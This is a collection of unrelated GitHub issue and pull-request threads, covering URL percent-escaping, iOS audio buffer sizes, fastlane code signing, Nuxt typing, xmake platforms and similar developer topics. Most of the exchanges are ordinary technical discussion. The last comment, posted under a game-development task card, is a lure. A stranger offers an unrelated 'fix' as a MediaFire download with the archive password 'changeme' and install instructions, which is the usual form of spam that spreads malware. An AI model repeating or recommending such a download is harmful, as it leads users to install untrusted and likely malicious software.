Ah I've gone and committed the package-lock,json, what would be the best way to resolve?

@all-contributors please add @jflip to maintenance


Added the ability to escape percent character

changelog(Fixes): Fixed an issue where url encoding couldn't handle % with two digits behind it without perceiving it as an escape code.
This PR adds the ability to escape percent character (%) with the backslash (\).
e.g. \% is converted to %25
I'm also open to any other ideas on how to handle this issue.
This closes #4818

It seems to me that it solves the wrong problem.
We should need to encode anything. %30 is not an escape code. I would expect Insomnia to encode the % into %25.
If I want the query parameter in the url to say %2530%25, I would type in %30%.
If I want the query to actually say test=%30%, I wouldn't expect to be able to do that in that interface. I would expect to have to type in the URL manually as test=%30%, and even then I would expect that to turn into test=%30%25, which is actually just 0%.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Closing as stale


Mistake around AudioUnitRender

Hi, I found maybe there is a mistake in this line. (nframes/dev->_micSampleSize) should be (nframes * dev->_micSampleSize)
https://github.com/mumble-voip/mumblekit/blob/6ec99df6310673997a60805e2a10a5f06248c3a7/src/MKVoiceProcessingDevice.m#L56
And as figured out in the follow line, AudioUnitRender will change the value of AudioBufferList's mDataByteSize (I verified this in a real iphone 4, not on simulator), so we need to keep the mDataByteSize and restore it after AudioUnitRender.
https://github.com/openframeworks/openFrameworks/blob/076daef1236dabadde935b8276120650b5f29cda/addons/ofxiOS/src/sound/SoundInputStream.m#L51

I faced the same issue, here is the pull request: https://github.com/mumble-voip/mumblekit/pull/44


fix: check119 needs to ignore terminated instances

Terminated does not seem to have an instance profile (At least when they are managed by an autoscaling group). And its not
possible to start a terminated instance again.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Makes sense, thanks!
Sent with GitHawk


Correct use of normalize with object styles

Question
Hi :wave:, commit 5c684e6d4d888189405b88571a29812f646fd9af changed the normalize mixin to return a 2-object array of styles. Currently, it's compatible with emotionjs and styled-components template literals but doesn't seem to work with object styles unless used as follows:
const styles = { ...normalize()[0] };

Is this the intended use of normalize with object styles?

@alexbrt The reason for that change was to properly handle the fallback needed for 'abbr[title]''s textDecoration property. To make the current implementation work with object notation you will need to get creative depending on the library you are using. For example, the following should work with emotion and jss: https://cssinjs.org/jss-syntax/?v=v10.4.0#fallbacks
const styles = {
  ...normalize()[0],
  "abbr[title]": {
    textDecoration: [
      normalize()[0]["abbr[title]"]["textDecoration"],
      normalize()[1]["abbr[title]"]["textDecoration"]
    ]
  }
};

Unfortunately, object notation fallbacks don't work the same way in styled-components: https://github.com/styled-components/styled-components/issues/3135 or React itself: https://github.com/facebook/react/issues/2020. Without extra processing, the fallback will just git overwritten. The way you are currently doing it will ignore the value provided in the second array and always use the fallback value. This is probably safe as it really is the one property and the difference between the "preferred" value and the fallback is minimal.

Got it, thanks! :+1:


No profiles were found iff automatic signing is turned on

✅ fastlane environment ✅
Stack

Key
Value

OS
10.12.6

Ruby
2.2.4

Bundler?
false

Git
git version 2.14.1

Installation Source
/usr/local/lib/fastlane_lib/bundle/bin/fastlane

Host
Mac OS X 10.12.6 (16G29)

Ruby Lib Dir
/usr/local/lib/fastlane_lib/bundle/lib

OpenSSL Version
OpenSSL 1.0.2g  1 Mar 2016

Is contained
false

Is homebrew
false

Is installed via Fabric.app
true

Xcode Path
/Applications/Xcode.app/Contents/Developer/

Xcode Version
9.0

System Locale

Variable
Value

LANG
en_US.UTF-8
✅

LC_ALL
en_US.UTF-8
✅

LANGUAGE
en_US.UTF-8
✅

fastlane files:
`./fastlane/Fastfile`
fastlane_version "2.60.1"

default_platform :ios

platform :ios do
  #
  # Learn more here: https://docs.fastlane.tools/getting-started/ios/beta-deployment/
  #             and: https://docs.fastlane.tools/getting-started/android/beta-deployment/
  #
  lane :beta do |values|
    # Fabric generated this lane for deployment to Crashlytics Beta
    # set 'export_method' to 'ad-hoc' if your Crashlytics Beta distribution uses ad-hoc provisioning
    gym(
    	scheme: 'ReactNativeApp',
    	export_options: {
    		method: 'ad-hoc',
    		provisioningProfiles: {
				"com.xx.xxx" => "xxx Ad Hoc"
			}
		},
    )

    emails = values[:test_email] ? values[:test_email] :
    	[
    	]
    groups = values[:test_email] ? nil : nil # You can define groups on the web and reference them here

    crashlytics(api_token: 'xxxx',
             build_secret: 'xxxx',
                   emails: emails,
                   groups: groups,
                    notes: 'Distributed with fastlane', # Check out the changelog_from_git_commits action
            notifications: true) # Should this distribution notify your testers via email?

    # for all available options run `fastlane action crashlytics`

    # You can notify your team in chat that a beta build has been uploaded
    # slack(
    #   slack_url: "https://hooks.slack.com/services/YOUR/TEAM/INFO"
    #   channel: "beta-releases",
    #   message: "Successfully uploaded a beta release - see it at https://fabric.io/_/beta"
    # )
  end
end

No Appfile found
fastlane gems

Gem
Version
Update-Status

fastlane
2.60.1
✅ Up-To-Date

Loaded fastlane plugins:
No plugins Loaded
Loaded gems

Gem
Version

slack-notifier
1.5.1

CFPropertyList
2.3.5

claide
1.0.2

colored2
3.1.2

nanaimo
0.2.3

xcodeproj
1.5.2

rouge
2.0.7

xcpretty
0.2.8

terminal-notifier
1.8.0

unicode-display_width
1.3.0

terminal-table
1.8.0

plist
3.3.0

public_suffix
2.0.5

addressable
2.5.2

multipart-post
2.0.0

word_wrap
1.0.0

tty-screen
0.5.0

babosa
1.0.2

colored
1.2

highline
1.7.8

commander-fastlane
4.4.5

excon
0.59.0

faraday
0.13.1

unf_ext
<IP_ADDRESS>

unf
0.1.4

domain_name
0.5.20170404

http-cookie
1.0.3

faraday-cookie_jar
0.0.6

fastimage
2.1.0

gh_inspector
1.0.3

json
1.8.1

mini_magick
4.5.1

multi_json
1.12.2

multi_xml
0.6.0

rubyzip
1.2.1

security
0.1.3

xcpretty-travis-formatter
0.0.4

dotenv
2.2.1

bundler
1.15.4

faraday_middleware
0.12.2

uber
0.1.0

declarative
0.0.10

declarative-option
0.1.0

representable
3.0.4

retriable
3.1.1

mime-types-data
3.2016.0521

mime-types
3.1

little-plugger
1.1.4

logging
2.2.2

jwt
1.5.6

memoist
0.16.0

os
0.9.6

signet
0.7.3

googleauth
0.5.3

httpclient
2.8.3

google-api-client
0.13.6

generated on: 2017-10-08

If I turn OFF automatic signing in xcode and manually select my Ad Hoc profile, fastlane beta works.
If I turn ON automatic signing, fastlane beta breaks. It can't find my profile anymore.
Error Domain=IDEProfileLocatorErrorDomain Code=1 "No profiles for 'com.xx.xxx' were found" UserInfo={NSLocalizedDescription=No profiles for 'com.xx.xxx' were found, NSLocalizedRecoverySuggestion=Xcode couldn't find any iOS Ad Hoc provisioning profiles matching 'com.xx.xxx'. Automatic signing is disabled and unable to generate a profile. To enable automatic signing, pass -allowProvisioningUpdates to xcodebuild.
What's more interesting is the error log even says Automatic signing is disabled LOL?

adding this fixed the issue
gym(
....
export_xcargs: "-allowProvisioningUpdates"
)
although i have no idea of what that is doing... LOL GG

I'm also encountering this issue. My automatic build process used to work perfect and in the last day it failed after I had to approve some xcode new user agreement.
Now my build process is failing with the mentioned error.
Anything that can be done?

@tomerpeled  have you tried adding export_xcargs: "-allowProvisioningUpdates"

Found the issue:
I ran the "fastlane beta" command on the terminal and found out that during the provision profile phase it had to request access to the provisioning profile. So it showed up a pop-up requesting the permissions to access to the provisioning profile on that mac.
Of course that when I ran this process via our CI, the pop-up cannot be approved so it failed our CI builds....
For summary, if Apple is changing it's user agreement, you'll probably have to re-grant permissions do several procedure which already got permissions in the past.

Both problems seem to be fixed already. Great!


Support for touch events

Hi!
How much work do you think it would take to make this picker more mobile-friendly ? Right now it seems like the picker does not work with the touch events at all. I tried to pick some color on my phone and it does not seem to interact with the picker correctly. Maybe I could look at the code and eventually send some pull request for that.

@mcierzniak There are touch events registered in this library - https://github.com/ruhley/angular-color-picker/blob/master/src/scripts/controller.js#L254-L256
Can you give me more details on the problem and what mobile device and browser you are using

Closing as there has not been any updates


Demographics is not returned for the anime

Demographics is not returned for the anime.
I've checked:
https://api.jikan.moe/v3/anime/34019
https://api.jikan.moe/v3/anime/15
https://api.jikan.moe/v3/anime/16
https://api.jikan.moe/v3/anime/28735
and the response for all of them is:
"demographics":[

   ],

It does seem to work for manga, but the name is a bit messy:
"demographics":[
      {
         "mal_id":42,
         "type":"manga",
         "name":"\n                Josei",
         "url":"https:\/\/myanimelist.net\/manga\/genre\/42\/Josei"
      }
   ],

Thanks, have pushed a working patch for both of the issues. Changes will take effect as soon as the cache expires.

Any incorrect cache should've been invalidated by now. Feel free to re-open the issue if you come across it again.
Thanks!


replace np.Inf with np.inf

In version 2.0, numpy.Inf was removed

solved with commit 0a140d8 (another Inf on line 900+ was missing from the pull request).


Added options for Sqlite backend

Hello,
I've added some options to allow using the Snap.Auth.Sqlite backend; maybe you'd like review these and merge them into your repository.

Before I do that let me point out that I did a quick hack and changed the options semantics slightly: instead of -j file you need to use  -j -f file (for Json) or -s -f file (for Sqlite). I couldn't figure a way to parsing an enumeration with fields using implicit arguments and didn't want to rewrite the option parsing using a lower level library.
This may break existing scripts; if you're OK with this I'll modify the README.

@pbv Of course, the change makes sense, and I think it's perfectly fine as long as it's documented. I'll use this as a chance to start a CHANGELOG too.

OK, I've updated the README file.

@pbv Did you find an issue or was the PR closed by accident?

Sorry, my mistake

@pbv This has now been pushed to Hackage as 0.2


Append extra_headers option to http method call

What does this PR do?
Append extra_headers option to http method call
Needed here: https://github.com/DataDog/integrations-core/pull/5729/files#diff-b778b4343871a44d5bbaa529942c581dR110-R115
Review checklist (to be filled by reviewers)

[ ] Feature or bugfix MUST have appropriate tests (unit, integration, e2e)
[ ] PR title must be written as a CHANGELOG entry (see why)
[ ] Files changes must correspond to the primary purpose of the PR as described in the title (small unrelated changes should have their own PR)
[ ] PR must have changelog/ and integration/ labels attached

This way you'll have no way of overriding. Please call it extra_headers and strip it out like persist,

@ofek Yes, that's a good point. I reimplemented it as extra_headers.


Other app - Junior coder?

Far-fetched app idea - Junior coder
This is more of a stretch goal than a must.
Idea
Currently with advent of coding focused LLM like StarCoder, an enticing but difficult use case of letting AI actually do coding work is kind of an open question up in the air. On one hand, it seems they are still unable to do this satisfactorily (due to both current intelligence limitation with LLM, as well as unrelated, technical issue like context length limit as coding work seems to be highly context-dependent and also very context-hungry). On the other hand, they seem to be able to handle easier coding tasks.
So how about letting it ingest and read a whole repo + the issue lists using the conceptual framework in llama-index (vector store + embedding + vector store enabled document retrieval + chained AI calls to perform tasks iteratively). Then ask it to identify coding tasks that are routine/easy to do, and have it work on those? If they can do this reliably, then we might be able to have it automatically work on those and submit PR etc.

Updates
With the release of WizardCoder and the landmark improvement being deployed on LLM, it seems this may become possible in the future.
Example:
https://github.com/the-crypt-keeper/llm-webapps
https://github.com/the-crypt-keeper/can-ai-code
(We still need to overcome the agent hurdles though. This likely require at least all of the following:

WizardLM (complex instruction)
30B models (much better intelligence), can use the new K-quant at q3 or even q2 to make it have similar RAM requirement as 13B@q4
SuperCoT LoRA (make it perform better at Chain-of-thought etc)


Convert schedule.json to TypeScript

What would you like node-schedule to be able to do?

@viceice wanted to convert the schedule.json to TypeScript, so that the Renovate bot maintainers can use a simple import without async / await.
Did you already have any implementation ideas?

We'll first need to make the package use TypeScript instead of JavaScript. That will probably make doing things like converting JSON to TypeScript easier and safer.

Labeling this status:blocked, I think we need #6 before we can start.

This is now compiled to javascript 😄  So i think we can clse this.

Oh thank you! 😄
Let's close this then, if you think we're done. 😄


Conda package

Hello, I'm working on a conda package for fpocket at the minute. I'm creating it for my own use, but perhaps it could also be useful for other users as an alternative way to install? Just to let you know.
I plan to make it available via the conda-forge channel.

See here: https://anaconda.org/conda-forge/fpocket

Cool! thanks!
Is this an automated build or how can we makje sure it's up to date?

The conda-forge infrastructure will publish a new build when you release a new version on GitHub. Currently, only version 3.1.3 is available.
Can you have a look at this issue as well please: https://github.com/Discngine/fpocket/issues/21


Sequence parallelism in the mixer (Context Parallelism)

The general question is, does mamba-ssm currently support sequence parallelism in the mixer?
I noticed that Section 8.2 in the paper of Mamba2 proposes a potential way to split activation among multiple devices during mixing information among tokens. Does current version of mamba-ssm support such context-parallelism scheme?
By the way, if it is possible to confirm that, the suggested implementation should be incorporated into the fast scan algorithm. As a parallel tree traversing algorithm, each node should be calculated on a single device. In the leaf-to-root pass, the communication will be invoked when two brother nodes are calculated on different devices to transmit the hidden information; in the root-to-leaf pass, the communication is similarly triggered. I show a simple illustration on how to implement CP. As a result, the CP_SIZE is also determined by the number of children when implementing the fast scan algorithm.
(Just to confirm whether I am understanding correctly, thx)

I don't believe it does, as I'm working on an implementation of it.
I think there is another detail to it than you've sketched out here. There is a weighted cumulative sum that occurs over all states from previous chunks in the sequence. This will need to be updated for each group of chunks as they've been scattered to multiple GPUs. It's in figure 7 of the Mamba 2 paper - that is, the yellow arrows. It is here in the code https://github.com/synthetic-tensors/mamba/blob/main/mamba_ssm/ops/triton/ssd_chunk_state.py, but not modified for context parallel.
Distributing it either requires gathering final states from all GPUs operating on previous chunks of the sequence, recomputation of weights (the A variables) and then a weighted sum reductions per GPU of previous 'final' states per GPU, or alternatively sequential point-to-point down the sequence GPU by GPU.
It looks to me like that's everything else can be computed per chunk. There is also separately the 1d causal conv, but I'm not sure that needs to be distributed, necessarily.


The data type is not resolved in the component template when using useAsyncData witch $fetch method

Environment

Operating System: Darwin
Node Version:     v21.3.0
Nuxt Version:     3.9.0
CLI Version:      3.10.0
Nitro Version:    2.8.1
Package Manager<EMAIL_ADDRESS>Builder:          -
User Config:      typescript, runtimeConfig, devtools, ssr, modules, features, vuetify, css, vite
Runtime Modules<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Build Modules:    -

Reproduction
<script lang="ts" setup>
// data: Ref<{id: string, public: boolean}[] | null>
const { data } = useAsyncData<{ id: string; public: boolean }[]>("/projects/", () => $fetch("/projects/"));

// projects: globalThis.ComputedRef<{id: string, public: boolean}[] | null>
const projects = computed(() => {
  // data.value: Ref<{ id: string; public: boolean; }[] | null>.value: {id: string, public: boolean}[] | null
  return data.value;
});
</script>
<template>
  <div>
    <!-- Ref returned from useAsyncData is *not* correctly resolved  -->
    <template v-for="project in data" :key="project.id">
      <!--  project: project: true | {id: string, public: boolean}[] | null  -->
      <!--  Where does the true and null comes from?  -->

      <!-- Property id does not exist on type true | { id: string; public: boolean; } | []-->
      {{ project.id }}
    </template>

    <!-- Computed property is correctly resolved  -->
    <template v-for="project in projects" :key="project.id">
      <!--  project:  {id: string, public: boolean  -->
      {{ project.id }}
    </template>
  </div>
</template>

Describe the bug
Possibly related to #25034
Type of ref data from useAsyncData is correctly resolved in the script tag, but not in the template. The current workaround is adding a computed property that wraps the data ref. (See screenshot)
The type error is also detected by npx nuxi typecheck (i.e. it's not IDE bug.)

Additional context
No response
Logs
No response

null is correct as data is null when e.g. an error occurs.

@manniL I am not sure null is correct either. The data type is: Project[] | null, not (Project | null)[] | null, right?
Yeah, I have no idea what could be causing it. Were you able to replicate the issue?

This is fine for me.

Check you don't have multiple versions of Vue in your project. Sometimes this causes issues with volar.

hello!
Just chiming in to say "me too" :)
Issue for me seems to come from using vue ~3.3 with nuxt ~3.10
(I'm stuck on vue 3.3 whilst waiting for a 3rd party lib to fix some things)
https://stackblitz.com/edit/github-pidhpa

@johnjenkins Same problem as @danielroe mentioned. You pinned Vue in your package.json via "vue": "~3.3", and thus create multiple vue versions (see npm why vue) in your deps.
Use npm overrides to fix that 👍

thanks for the comment @manniL !
Have updated the stackblitz but same result though

@johnjenkins Refresh your lockfile :)

how weird!

This is fine for me.

Check you don't have multiple versions of Vue in your project. Sometimes this causes issues with volar.

I've deleted lock-file and node_modules, did a clean instal and it's working so far!:)
I should have tried that in the first place! Thanks all for the help!

Glad it works now 👍


Ability to define custom platform

Is your feature request related to a problem? Please describe.
It would be handy to be able to define platform, it would simplify compilation to xmake unknown platform, in my case, the nintendo switch
Describe the solution you'd like
toolchain("switch-llvm")
    add_cxflags(...)
    ...

platform("switch")
    set_os("nxos")

    set_hosts("macos", "linux", "windows")

    set_archs("arm64-v8a")

    set_formats("static", "$(name).a.nro")
    set_formats("object", "$(name).o")
    set_formats("shared", "$(name).nso")
    set_formats("symbol", "$(name).sym")

    set_toolchains("envs", "switch-llvm")

xmake f -p switch

the xmake command line get consistent with compiling to iOS / android / other platformes
Describe alternatives you've considered
No response
Additional context
No response

The platform interface is not yet designed to be stable and is not available to the public at this time. You can customise the platform in the following way.
if is_plat("myplat") then
    add_defines("xxx")
    set_toolchains("xxx")
end

xmake f -p myplat
xmake

or you can add a custom rule to set them.

Oh thx, i didn't know this was working


Story Line [Stage 1]

Description
Task: Story Line[Stage 1]
Feature: [Team 6] Start Screen & Menu Development
For this task, I will create the first section of a cutscene, focusing on the user interface (UI) and story elements. This will involve designing the layout and appearance of dialogue boxes, character portraits, and background images that appear on screen. The objective is to provide a seamless narrative experience, with text and visuals that convey key story points and character interactions. I will ensure that the UI elements are intuitive and visually appealing, enhancing the storytelling experience without distracting the player. The design will include clear text formatting, appropriate pacing of dialogue, and transitions between different scenes to keep the player engaged and informed about the plot progression. This first section will set the tone for the game's narrative and establish a strong foundation for further storytelling.
Dependencies
Milestones
List of steps that need to be completed for this task.

[ ] Initial documentation of story on wiki (Sep. 2)
[ ] Initial frames Background (Sep. 5)
[ ] Initial Characters for frames (Sep. 7)
[ ] Final frames design (Sep. 13)
[ ] Implement Screens (Sep. 15)
[ ] Implement Dialogue Boxes (Sep. 17)
[ ] Testing into wiki page (Sep. 18)

Documentation
To be completed.
Member

Jaimee (@jtayl647) (Jaimee Taylor)
e.g. Richard (@AppleByter) (Richard Thomas)

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx